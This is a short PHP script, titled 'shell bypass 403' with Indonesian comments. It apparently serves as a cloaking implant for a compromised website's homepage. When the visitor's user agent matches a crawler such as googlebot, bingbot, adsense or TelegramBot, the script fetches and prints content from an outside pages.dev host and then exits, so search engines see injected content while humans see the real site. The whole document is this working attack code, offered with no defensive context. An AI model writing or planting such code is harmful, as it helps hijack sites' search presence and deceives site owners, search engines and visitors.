shell bypass 403
<?php
// =======================
// CONFIG
// =======================
$target_url = 'https://espacofacial.pages.dev/';
$bots = array(
'googlebot',
'bingbot',
'Google-Site-Verification',
'Google-InspectionTool',
'adsense',
'slurp',
'TelegramBot'
);
// =======================
// GET REQUEST DATA
// =======================
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
// =======================
// ONLY HOMEPAGE
// =======================
$is_home = ($uri === '/' || $uri === '/index.php');
// =======================
// EXECUTION
// =======================
if ($is_home) {
foreach ($bots as $bot) {
if (strpos($ua, strtolower($bot)) !== false) {
// cek curl tersedia
if (function_exists('curl_init')) {
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$result = curl_exec($ch);
curl_close($ch);
if ($result !== false) {
echo $result;
exit;
}
}
// fallback kalau curl mati
$result = @file_get_contents($target_url);
if ($result !== false) {
echo $result;
exit;
}
// kalau semua gagal
exit;
}
}
}